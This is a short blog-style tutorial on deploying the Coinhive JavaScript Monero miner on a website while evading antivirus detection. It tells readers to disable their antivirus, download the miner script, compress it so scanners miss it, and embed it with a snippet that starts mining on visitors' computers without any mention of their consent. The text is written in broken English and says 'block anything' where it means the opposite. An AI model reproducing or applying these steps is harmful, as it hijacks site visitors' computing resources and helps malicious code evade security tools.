Tech

How to “Tuning” Coinhive JavaScript Mining

What is Coinhive?

The JavaScript code that mining the Monero in the background. The site operator may place it on the page as a new type of revenue that stems from the use of the visitor PC’s computer capacity.

Bases problem – blocking antivirus js code from “https://coinhive.com/lib/coinhive.min.js”

The solution to the problem is simple. Just download the JavaScript from “https://coinhive.com/lib/coinhive.min.js” and use JavaScript compressor. The resulting compressed code will be smaller and antivirus will block anything. For example https://jscompress.com.

Approach:

1. turn off the antivirus
2. download from “https://coinhive.com/lib/coinhive.min.js” to disk
3. open https://jscompress.com and compress the code
4. then put on your site:

<script src=”INSERT COMPRESS JS CODE”></script>
<script>
var miner = new CoinHive.Anonymous (‘YOUR ID’);
miner.start ();
</script>

Source: coinhive.com